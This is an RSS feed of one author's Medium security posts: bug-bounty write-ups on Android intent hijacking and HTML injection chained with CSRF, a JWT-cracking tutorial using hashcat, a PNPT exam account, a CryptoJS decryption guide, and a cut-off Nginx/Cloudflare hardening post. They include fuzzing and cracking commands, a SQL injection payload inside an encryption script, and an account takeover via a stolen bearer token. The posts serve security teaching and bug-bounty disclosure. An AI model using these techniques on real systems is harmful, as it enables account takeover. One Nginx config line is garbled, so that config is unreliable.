<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by November Rain on Medium]]></title>
        <description><![CDATA[Stories by November Rain on Medium]]></description>
        <link>https://medium.com/@xchopath?source=rss-d50a380b7b11------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*FclQaAgmjxr9j6G3GBpl4w.jpeg</url>
            <title>Stories by November Rain on Medium</title>
            <link>https://medium.com/@xchopath?source=rss-d50a380b7b11------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 15:33:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@xchopath/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Simple Chain That Leads to “Android App” Account Takeover via Intent Hijacking]]></title>
            <link>https://medium.com/fmisec/a-simple-chain-that-leads-to-android-app-account-takeover-via-intent-hijacking-fd266144ebd4?source=rss-d50a380b7b11------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd266144ebd4</guid>
            <category><![CDATA[android-security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[November Rain]]></dc:creator>
            <pubDate>Wed, 04 Feb 2026 04:31:02 GMT</pubDate>
            <atom:updated>2026-02-04T04:31:02.314Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NANooZh_P4yJ1v0Pyjr9gw.png" /></figure><p>In the mid-Q3 2025, I found a single report that turned into one of my largest bounties and the case itself was unusually tricky (but simple), costing me almost 3 days of sleep.</p><p>I’m sharing this write-up now as a community contribution. Note: A lot screenshots are edited (because this is a mirror PoC, not the real one — I can&#39;t post the full details without program permission), but I do my best to reconstruct the scenario as closely to the original as possible. I hope it helps.</p><p>As a side note, I prefer hunting on mobile apps not because I’m especially good at it, but because I enjoy exploring while lounging ☺️</p><h3>1. Curiosity Trigger</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bRgwxMTm03IPV3H-XIH5pA.png" /><figcaption>A Regular Endpoint</figcaption></figure><p>It started from a <strong>regular endpoint</strong>, the one that’s even consumed by all users to receive messages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*Em1hIocxhNRFR9azBkJ18g.png" /></figure><p>Yep, like I said, this is just a regular endpoint that clients use to receive messages.</p><p>But suddenly a hypothesis popped into my head:</p><ul><li><strong><em>“</em></strong><em>If </em><strong><em>there’s an endpoint for receiving</em></strong><em>, could </em><strong><em>there also be one for sending</em></strong><em>?</em><strong><em>”</em></strong></li></ul><h3>2. Fuzzing Time</h3><p>To test my hypothesis about a “<strong>sending endpoint</strong>,” I decided to fuzz it.</p><pre>ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -c -t 100 -mc all -fs 0 -H &#39;Content-Type: application/json&#39; -u &#39;https://redacted/redacted/v1/message/FUZZ&#39; -X POST -fc 404</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*ZKKTysEf2ESTUfKESEAruw.png" /><figcaption>Fuzzing</figcaption></figure><p>Boom! The ffuf revealed a POST /redacted/v1/message/push (HTTP 400).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cq6cP1TC6erMqDvsJ0XbCg.png" /><figcaption>Push Message Endpoint</figcaption></figure><p>Just because the error was too verbose, it was easy for me to figure out what input I needed to supply.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HHUFsmPiiE4ulxYjyw1Jeg.png" /><figcaption>Send Valid Request</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*CEnKBbYd5CLVh5lGodtgkA.png" /></figure><p><strong>At this point I already realized this was a solid finding</strong> (because the endpoint was unauthenticated and I was able to send arbitrary message to any user).</p><p>But, <strong><em>I wasn’t satisfied</em></strong>, because I was sure it would only be classified as a <em>Medium-Severity</em> finding.</p><h3>3. Impact Escalation</h3><p>I suddenly remembered the “action” parameter again (in GET /redacted/v1/message/all response).</p><ul><li><em>Why is there something that looks like a </em><strong><em>Java Class</em></strong><em> there?</em></li><li><em>What’s that for?</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*ldASmLOYP9cYncmT5FPbcw.png" /><figcaption>GET Messages All Response</figcaption></figure><h4><strong>Reverse Engineering Time</strong></h4><p>Since my target was an Android App (APK), I decided to reverse-engineer it using JADX GUI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*YBr-ws-rVL86SJHjrhoEXQ.png" /><figcaption>JADX Search</figcaption></figure><p>Searching for the string RedactedJavaIntent.Messages.MarkAsRead led me to an interesting class. Let’s call it redacted.Common.Activity.IntentActionActivity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*F-jpHY8lJ5Jm9uJtjqQlcw.png" /><figcaption>redacted.Common.Activity.IntentActionActivity (Class)</figcaption></figure><p>Basically, this class is huge (there are dozens of intent actions), but one particular action caught my attention. It met 4 criteria that make it a viable Account Takeover scenario.</p><pre>RedactedJavaIntent.Open.SecondApp</pre><ol><li>It calls getIntent().</li><li>It forwards the incoming Intent with putExtra().</li><li>It has a snippet/flow that handles the Authorization Token.</li><li>URL is coming from input supplied via API response.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*7kxbP0onLpIl48GY0i1AXg.png" /><figcaption>Vulnerable Intent Analysis</figcaption></figure><h4>Exploit Time</h4><p>With a rough analysis (I don’t know Java at all, lol), I tried to push my luck by putting RedactedJavaIntent.Open.SecondApp (with some extra data fields I extracted from the APK) into the “action” parameter of the POST /redacted/v1/message/push endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*M_Gm-KEt_uoT3TdN5XXmXw.png" /><figcaption>Send Manipulated Android Intent to Victim</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*lRgqqEwa939r9HOoJoFErQ.png" /></figure><p>After I found the message I sent, I clicked it and boom! My collaborator caught something, including the Authorization Bearer Token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4PPygWvhQYHy2LpqTysy9Q.png" /></figure><p><strong>The moment of truth</strong></p><p>Then, I reported the issue. A few hours later…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*L_Ppap7YyYcnRWYuw2v4nQ.png" /></figure><h3>Summary</h3><ul><li>A mediocre endpoint to GET message triggered my investigation.</li><li>That led me to try fuzzing another endpoint.</li><li>Fuzzing revealed a POST endpoint that can send messages to arbitrary users.</li><li>The POST endpoint accepts an action/Intent payload (enabling Intent Hijacking).</li><li>I discovered a dangerous Intent that can be leveraged to steal a user’s JWT.</li><li>I exfiltrated the JWT out-of-band to my burp collaborator.</li><li>Finally! Account Takeover finding in my hand.</li></ul><p>Shoutout to my hunting partner while finding this bug <a href="http://twitter.com/fariqfgi">@fariqfgi</a> &amp; <a href="https://hackerone.com/lamsyah?type=user">@lamsyah</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd266144ebd4" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/a-simple-chain-that-leads-to-android-app-account-takeover-via-intent-hijacking-fd266144ebd4">A Simple Chain That Leads to “Android App” Account Takeover via Intent Hijacking</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A $3,500-Worth HTML Injection by Abusing CSRF-like]]></title>
            <link>https://medium.com/@xchopath/a-3-500-worth-html-injection-by-abusing-csrf-like-385d359b0f11?source=rss-d50a380b7b11------2</link>
            <guid isPermaLink="false">https://medium.com/p/385d359b0f11</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[November Rain]]></dc:creator>
            <pubDate>Mon, 22 Dec 2025 00:00:37 GMT</pubDate>
            <atom:updated>2025-12-26T07:50:41.592Z</atom:updated>
            <content:encoded><![CDATA[<p>Chaining a Low-Severity HTML Injection with Same-Site Request Forgery to Escalate Impact.</p><p><em>&gt; Originally published at </em><a href="https://flawseekr.com/turning-html-injection-into-account-takeover-via-csrf-like/"><em>https://flawseekr.com</em></a><em> on December 22, 2025.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9lVDFhkCkCaeA45J.png" /></figure><p>In mid Q3 of 2025, my partner (<a href="https://fariq.me/about">@fariqfgi</a>) and I decided to jump back into bug bounty after a long hiatus. Unfortunately, things didn’t go as planned, two full weeks went by with nothing but frustration and zero findings.</p><p>In the middle of that chaos, my partner <strong>discovered an HTML Injection issue</strong>. However, he <strong>wasn’t confident enough to report it</strong> (worried it would end up being marked as Not Applicable).</p><p>That’s when I spent the next two days thinking hard: “ <strong>Is there a way to actually get paid from a seemingly low-impact bug like this?</strong>.”</p><h3>Lack of Token-based CSRF Protection</h3><p>After giving it some serious thought, I started closely <strong>observing the application’s behavior</strong>. That’s when I noticed that <strong>there was no token-based CSRF protection</strong> in place.</p><p>I quickly realized something important.</p><blockquote><em>Relying on the </em><em>SameSite attribute does not fully mitigate </em><strong><em>Request Forgery</em></strong><em> vulnerabilities.</em></blockquote><p><strong>Why?</strong></p><p>The <strong>SameSite</strong> attribute primarily works by restricting <strong>cookies</strong> from being sent along with cross-site requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Mx7W44wdDGzNSFAO.png" /></figure><p>But things get interesting when the attack scenario shifts like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*StHwgIFmkrxBSoqy.png" /></figure><p>I know this is a bit of an edge case. But, with <strong>no token-based CSRF protection</strong>, an <strong>HTML Injection</strong> vulnerability makes it highly possible to <strong>perform sensitive actions</strong>.</p><h3>Form Injection to Request Forgery</h3><p>Alright, now let’s talk about how we crafted the payload.</p><p>First, we looked for <strong>a feature or endpoint with the highest potential impact</strong> (such as <strong>deleting</strong> data or <strong>updating</strong> data).</p><blockquote><em>In our case, since </em><strong><em>the target application had a feature for adding new users to the organization</em></strong><em>, we abused this functionality to achieve </em><strong><em>Account Takeover</em></strong><em> by creating a new user.</em></blockquote><p>So, the payload we crafted roughly followed this structure:</p><ul><li>Create an HTML &lt;form&gt;</li><li>Target a “sensitive action” endpoint</li><li>Make sure the payload is accessible by other users</li></ul><p><strong>Sample HTML Injection Payload</strong></p><p>After the HTML Injection payload was submitted, I asked the admin (my partner as the organization owner) to submit the form and this was the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/0*uVJ5TdukinsghVoD.png" /></figure><p>After we successfully pulled off the PoC, we wasted no time reporting the finding. And the moment of truth…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XdQLcYzfpOHdscPh.png" /></figure><p><strong>Summary</strong></p><ul><li>When <strong>encountering a seemingly low-impact bug</strong> (such as HTML Injection), avoid rushing to report it. Take time to analyze potential attack chains.</li><li>Sometimes <strong>2 low-hanging bugs combined</strong> can <strong>lead to a high-critical impact</strong>.</li><li>If you come across <strong>HTML Injection &amp; Lack of Token-based CSRF protection</strong>, you may be looking at a serious security issue.</li><li>The <strong>SameSite</strong> attribute only provides protection against “Cross-Site” Request Forgery (CSRF). For comprehensive mitigation, a <strong>token-based CSRF protection</strong> is strongly recommended.</li></ul><p><em>Originally published at </em><a href="https://flawseekr.com/turning-html-injection-into-account-takeover-via-csrf-like/"><em>https://flawseekr.com</em></a><em> on December 22, 2025.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=385d359b0f11" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Crack JWT (Secret Key) using Hashcat]]></title>
            <link>https://medium.com/fmisec/crack-jwt-secret-key-using-hashcat-34de9be94c15?source=rss-d50a380b7b11------2</link>
            <guid isPermaLink="false">https://medium.com/p/34de9be94c15</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[jwt-token]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[November Rain]]></dc:creator>
            <pubDate>Sun, 03 Mar 2024 08:05:28 GMT</pubDate>
            <atom:updated>2024-03-03T08:24:36.940Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*mGXx08kpvbPM9AsK.png" /></figure><p>When doing pentests, we often find web applications that implement JSON Web Tokens (JWT). JWT itself is typically used for authenticating and authorizing users in web applications and APIs. JWT consists of three string parts separated by periods (.), namely: header, payload, and signature. The header contains the token type and algorithm, the payload contains the information to be conveyed, and the signature is used to verify the integrity of the token.</p><p>However, one thing that is often overlooked (even by fellow Pentesters themselves) is why we don’t try to crack JWT (Offline)?</p><p>When the Secret Key on JWT is leaked, we can freely manipulate the Token to perform various exploits related to authentication and authorization mechanisms.</p><blockquote><strong>Note</strong>: To recognize whether the Token on the Web uses JWT or not, I usually read the characters in front of it, on JWT itself it usually starts with <strong><em>eyJhbGciOiJ</em></strong>.</blockquote><h3>JSON Web Token (JWT)</h3><p>Ok, for example, here I have set up a Token (JWT).</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjIiLCJuYW1lIjoiaGVscGRlc2siLCJpYXQiOjE1MTYyMzkwMjJ9.QmhPnelIHL5Ocx7CnDLesXXuufBrpV1SlGmG8vJZ92w</pre><ol><li><strong>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</strong> (Header)</li><li><strong>eyJpZCI6IjIiLCJuYW1lIjoiaGVscGRlc2siLCJpYXQiOjE1MTYyMzkwMjJ9</strong> (Payload)</li><li><strong>QmhPnelIHL5Ocx7CnDLesXXuufBrpV1SlGmG8vJZ92w</strong> (Signature)</li></ol><p>Basically, <strong>anyone can modify the “Header” and “Payload” parts</strong> <em>using Base64 format</em>. However, on the other hand, we (as an external party) <strong>cannot modify the “Signature”</strong> part, because the signature is protected by a Secret Key, it will be used for validation when the token is sent to the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HDbuIAVXW6_Jk5Id.png" /></figure><p>Maybe from the picture above, we have imagined an attack scenario such as Account Takeover (by changing the ID and Name section). Unfortunately, if we change the payload, the server will reject our token because the signature will be invalid. This ensures the integrity and security of the token, preventing unauthorized access or tampering with the data it carries.</p><p>The next task is to uncover the secret key used to protect the signature. This is a crucial step as it would enable unauthorized access to the system and compromise its security.</p><h3>Crack the Secret</h3><p>First of all, we need to put the token into a file, then we crack the token using the Brute Force / Dictionary Attack methodology. For example, here I use the <strong>hashcat</strong> tool and word list from <strong>rockyou.txt</strong>.</p><pre>hashcat -a 0 -m 16500 &lt;jwt file&gt; &lt;password list&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1NKQz-qxyLAWG4mK.png" /></figure><p>When the process is complete, you need to make sure the <strong>Status</strong> is <strong>Cracked</strong>, but if the <strong>Status</strong> is <strong>Exhausted</strong>, it is likely that the Token you crack has used a complex and strong Secret Key, so that the JWT implementation is in accordance with Best Practice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/0*EKT6V3ODAqqVpjTn.png" /></figure><p>If it is done, then we run the command again but add the “ — show” parameter.</p><pre>hashcat -a 0 -m 16500 &lt;jwt file&gt; &lt;password list&gt; --show</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X6u24PvIIDJEvsIL.png" /></figure><p>Here we have found that the Secret Key used in the sample token is “123456”.</p><p>From here we can try to manipulate the payload on the token, for example to do an Account Takeover by changing the id parameter (from 2 to 1) and name (from helpdesk to admin).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8_a6sT7Fi2Kcs6gM.png" /></figure><p>Other JWT Wordlist:</p><ul><li><a href="https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list">https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=34de9be94c15" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/crack-jwt-secret-key-using-hashcat-34de9be94c15">Crack JWT (Secret Key) using Hashcat</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[An Exam Journey: PNPT (Practical Network Penetration Tester) 2024]]></title>
            <link>https://medium.com/fmisec/an-exam-journey-pnpt-practical-network-penetration-tester-2024-b025d2b5c537?source=rss-d50a380b7b11------2</link>
            <guid isPermaLink="false">https://medium.com/p/b025d2b5c537</guid>
            <category><![CDATA[network-penetration-test]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pnpt]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[November Rain]]></dc:creator>
            <pubDate>Wed, 24 Jan 2024 03:06:34 GMT</pubDate>
            <atom:updated>2024-01-24T06:28:15.673Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/664/0*FSmfgnf1_KecM0La" /><figcaption><em>Practical Network Penetration Tester</em></figcaption></figure><p>Hello! I want to tell a story about my exam journey, the exam is <strong><em>PNPT (Practical Network Penetration Tester)</em></strong> from <a href="https://tcm-sec.com/"><strong><em>TCM Security</em></strong></a>.</p><p>I’ll tell you a little bit. Basically, I’ve been longing for this certificate. What makes me interested is a challenge like a debrief. Essentially, I have never given a presentation in English, so this will be an interesting experience to boost my confidence.</p><p>Another thing I enjoyed was that there was less pressure during the exam, as we were given a reasonable exam time period.</p><ul><li>5 days to pentest</li><li>2 days to make a report</li><li>15 minutes to present the result (debrief)</li></ul><h3>Exam Preparation</h3><p>The objective of this exam is to perform a pentest from the external network to compromise the internal network. Below I have prepared a summary that might help you later to create a roadmap materials when you want to take PNPT.</p><p>So these are the skill sets that I have prepared for before buying the exam bundle:</p><ul><li>Web application pentesting</li><li>Network scanning</li><li>Enumeration</li><li>Brute Force/Dictionary Attack and Spraying Attack</li><li>Hash and encryption cracking</li><li>How to deal with Linux (basic shell scripting &amp; privilege escalation)</li></ul><p>Below is a list of things I didn’t prepare for the exam, but I learned through the materials provided by TCM:</p><ul><li>How to deal with Active Directory</li><li>How to deal with Windows Machine</li><li>Pentest in Windows network environment</li><li>Windows privilege escalation (optional)</li></ul><p>However, all the materials that related to the exam are provided at the <a href="https://academy.tcm-sec.com/">TCM Security Academy</a> (PNPT Bundle). It should also be noted that you <em>shouldn’t spend too much time studying privilege escalation</em> because it is only optional and not the main focus of the PNPT exam.</p><h3>Exam</h3><p>When the exam started, on the first day, I conducted Open-Source Intelligence (OSINT) on a <em>[redacted]</em> public-facing website to gather data that can be used for the target. Next, I used a VPN to pwn the external target. After successfully compromising the external target, I could proceed with the penetration into the internal target, ultimately gaining access to the Domain Controller. However, I was stuck on an internal machine for a day due to my lack of thoroughness.</p><p>I finished it in 2 days, but there’s no need to worry because TCM basically gives <strong><em>5 days</em></strong> pentest period.</p><h3>Reporting</h3><p>For reporting purposes, I utilized the template provided by TPM, available at <a href="https://github.com/hmaverickadams/TCM-Security-Sample-Pentest-Report">https://github.com/hmaverickadams/TCM-Security-Sample-Pentest-Report</a>. It should be noted that during the exam, one should not forget to record all activities, as it will be useful for quick compilation of the report later.</p><p>To compile this, TCM provided time to prepare the report for <strong><em>2 days</em></strong>.</p><h3>Debrief Time!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WNNRftLHGuKvhKOW-Y2Itg.jpeg" /></figure><p>After sending the report, my report was declared passed by TCM team, I received an email to schedule a debrief. We were free to choose the timing, as it was not determined by TCM.</p><p>I was nervous because it was the first time I presented in English, which is not my native language. The debrief will take 15 minutes, so don’t forget to prepare the presentation.</p><h3>Passed!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*EKInWd2yYH3yVDSFuSQjOw.png" /><figcaption><a href="https://www.credential.net/6246b57a-8ee0-43e0-98a1-cdb62207e539">https://www.credential.net/6246b57a-8ee0-43e0-98a1-cdb62207e539</a></figcaption></figure><p>Finally I can delete one of my bucket lists!</p><p>Whether you <strong><em>pass</em></strong> or <strong><em>not</em></strong> will be announced after debrief. What I like here is that we don’t have to wait a long time to receive an announcement.</p><p><strong>Lesson Learned</strong></p><ul><li>Enumeration is the key, don’t forget to use your common sense.</li><li>Don’t think too far, because the exam is not that hard.</li><li>Caution is sometimes necessary, because hacking is not all about exploitation!</li></ul><p><strong>Thanks to</strong></p><ul><li>Mas <a href="https://threathunting.id/">Digit Oktavianto</a> (For the technical advice and support)</li><li><a href="https://yuyudhn.medium.com/">Yudha Prasetya</a> (For mentoring pentest on Active Directory)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b025d2b5c537" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/an-exam-journey-pnpt-practical-network-penetration-tester-2024-b025d2b5c537">An Exam Journey: PNPT (Practical Network Penetration Tester) 2024</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CryptoJS Analysis: Decrypt Encrypted HTTP Request]]></title>
            <link>https://medium.com/fmisec/cryptojs-analysis-decrypt-encrypted-http-request-bahasa-5f3815b7cb78?source=rss-d50a380b7b11------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f3815b7cb78</guid>
            <category><![CDATA[mobile-apps-pentest]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[cryptoj]]></category>
            <category><![CDATA[apk-analysis]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[November Rain]]></dc:creator>
            <pubDate>Thu, 19 Oct 2023 07:26:50 GMT</pubDate>
            <atom:updated>2024-01-24T06:47:42.943Z</atom:updated>
            <content:encoded><![CDATA[<p>Before writing this article, coincidentally, I obtained a Pentest project in which the data was encrypted during HTTP Requests. After reading the application’s flow, it turned out that the application was using CryptoJS. CryptoJS is a JavaScript library that provides cryptographic functionalities for web applications. It enables developers to implement various cryptographic algorithms, such as encryption, hashing, and message authentication codes (MAC).</p><h3>Enumeration</h3><p>The first thing that needs to be done is to examine which parameters are used when sending encrypted data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*Y6_Ijh6B9Rg6bHuzF0_7xA.png" /><figcaption>Encrypted HTTP Request</figcaption></figure><p>In the application I used, the data was sent using the parameter <strong><em>encryptedText</em></strong>.</p><p>In my case, the application I encountered was a Android Mobile Application (APK), then I extracted it using <strong><em>apktool</em></strong>.</p><pre>apk d file.apk</pre><p>Then, I entered the directory of the extracted APK results and searched for the file that manipulated the <strong><em>encryptedText</em></strong> parameter.</p><pre>grep -Rn &#39;encryptedText&#39; .</pre><p>With this Grep command, we can search for the location of files containing the keyword recursively. Once you have found the location of the file, open it using a text editor and go directly to the encryption function.</p><h3>Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yDiptLrkYvFeTc1Q_9VbgA.png" /></figure><p>At this stage, I found that the CryptoJS encryption function only uses default syntax.</p><pre>var t = CryptoJS.AES.encrypt(&quot;data&quot;, VariableSecretKey);</pre><p>So, my task was just to find the <strong><em>VariableSecretKey</em></strong>, because by default <strong>CryptoJS.AES</strong> is using CBC Mode and PKCS7 Padding.</p><h4>Must Know</h4><p>Before continuing, we must first understand that AES is one of the algorithms for <strong>symmetric encryption</strong>, where <strong>encrypting and decrypting data only requires one key</strong>.</p><p>Referring to the <em>CryptoJS</em> documentation (<a href="https://cryptojs.gitbook.io/docs">https://cryptojs.gitbook.io/docs</a>), there are several syntaxes that can be used to customize the encryption, which can be a bit challenging for us as testers.</p><p>Here is an example of customized syntax:</p><p><strong>Custom Initialization Vector</strong></p><pre>var encrypted = CryptoJS.AES.encrypt(&quot;Message&quot;, &quot;Secret&quot;, { iv: variable_iv });</pre><p><strong>Custom Mode</strong></p><pre>var encrypted = CryptoJS.AES.encrypt(&quot;Message&quot;, &quot;Secret&quot;, { mode: CryptoJS.mode.CFB });</pre><p><strong>Custom Padding</strong></p><pre>var encrypted = CryptoJS.AES.encrypt(&quot;Message&quot;, &quot;Secret&quot;, { padding: CryptoJS.pad.AnsiX923 });</pre><h3>Back to Topic</h3><p>We have already determined that the encryption function used is the default oneCryptoJS.AES.encrypt(data, key), So, we just needed to find the variable that stores the Secret Key (we could use the recursive Grep command as mentioned above, just change the keyword).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OCktyi-HBKmWI2rGmbynAA.png" /></figure><p>If you have found it, you just need to decrypt it using the script below. I used nodejs with crypto-js module.</p><h4>Decrypt</h4><pre>const CryptoJS = require(&#39;crypto-js&#39;);<br><br>const encryptedString = &#39;[ENCRYPTED]&#39;;<br>const key = &#39;JustRand0m$tr1ng(s)&#39;;<br><br>const bytes = CryptoJS.AES.decrypt(encryptedString, key);<br>const decryptedData = bytes.toString(CryptoJS.enc.Utf8);<br><br>console.log(decryptedData);</pre><h4>Encrypt</h4><p>To craft the encrypted payload, you can use the script below:</p><pre>const CryptoJS = require(&#39;crypto-js&#39;);<br><br>const data = [<br>  {<br>    param1: &quot;&#39; OR 1=1 LIMIT 1 -- - &quot;,<br>    param2: &quot;Probably String&quot;<br>  }<br>];<br><br>const jsonData = JSON.stringify(data);<br>const key = &#39;JustRand0m$tr1ng(s)&#39;;<br><br>const encrypted = CryptoJS.AES.encrypt(jsonData, key);<br>const encryptedString = encrypted.toString();<br><br>console.log(encryptedString);</pre><p>That’s it, and thank you!</p><p>References:</p><ul><li><a href="https://cryptojs.gitbook.io/docs">https://cryptojs.gitbook.io/docs</a></li><li><a href="https://en.wikipedia.org/wiki/Symmetric-key_algorithm">https://en.wikipedia.org/wiki/Symmetric-key_algorithm</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f3815b7cb78" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/cryptojs-analysis-decrypt-encrypted-http-request-bahasa-5f3815b7cb78">CryptoJS Analysis: Decrypt Encrypted HTTP Request</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Work with Nginx and Cloudflare: Real IP Logging and Disable Bypass Host]]></title>
            <link>https://medium.com/@xchopath/work-with-nginx-and-cloudflare-real-ip-logging-and-disable-bypass-host-6c0e15d70add?source=rss-d50a380b7b11------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c0e15d70add</guid>
            <category><![CDATA[server-hardening]]></category>
            <dc:creator><![CDATA[November Rain]]></dc:creator>
            <pubDate>Fri, 18 Aug 2023 03:28:00 GMT</pubDate>
            <atom:updated>2023-08-27T12:20:22.404Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*5THxJwVbQ-AnfwPm0APOyA.png" /><figcaption>Securing NGINX with CLOUDFLARE</figcaption></figure><p><strong><em>Cloudflare</em></strong> and <strong><em>Nginx</em></strong> may experience some issues if specific configurations are not implemented. The first issue is that the logs in Nginx will record Cloudflare IPs only. And secondly, Nginx will permit IPs that are not originating from Cloudflare if they are bypassed directly through “/etc/hosts” file (in a Linux environment).</p><h3>1. Enable Real IP Logging</h3><p>Without utilizing specific configuration, typically the logs in Nginx only contain IPs from Cloudflare. Hence, we merely need to add a few configuration lines to enable real IP address logging.</p><p>Here is the configuration; we just need to place a few lines below inside:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8YfAweQMmdmJ70EQX24bw.png" /></figure><p>Configuration:</p><pre>set_real_ip_from 173.245.48.0/20;<br>set_real_ip_from 103.21.244.0/22;<br>set_real_ip_from 103.22.200.0/22;<br>set_real_ip_from 103.31.4.0/22;<br>set_real_ip_from 141.101.64.0/18;<br>set_real_ip_from 108.162.192.0/18;<br>set_real_ip_from 190.93.240.0/20;<br>set_real_ip_from 188.114.96.0/20;<br>set_real_ip_from 197.234.240.0/22;<br>set_real_ip_from 198.41.128.0/17;<br>set_real_ip_from 162.158.0.0/15;<br>set_real_ip_from 104.16.0.0/13;<br>set_real_ip_from 104.24.0.0/14;<br>set_real_ip_from 172.64.0.0/13;<br>set_real_ip_from 131.0.72.0/222400:cb00::/32;<br>set_real_ip_from 2606:4700::/32;<br>set_real_ip_from 2803:f800::/32;<br>set_real_ip_from 2405:b500::/32;<br>set_real_ip_from 2405:8100::/32;<br>set_real_ip_from 2a06:98c0::/29;<br>set_real_ip_from 2c0f:f248::/32;<br>real_ip_header 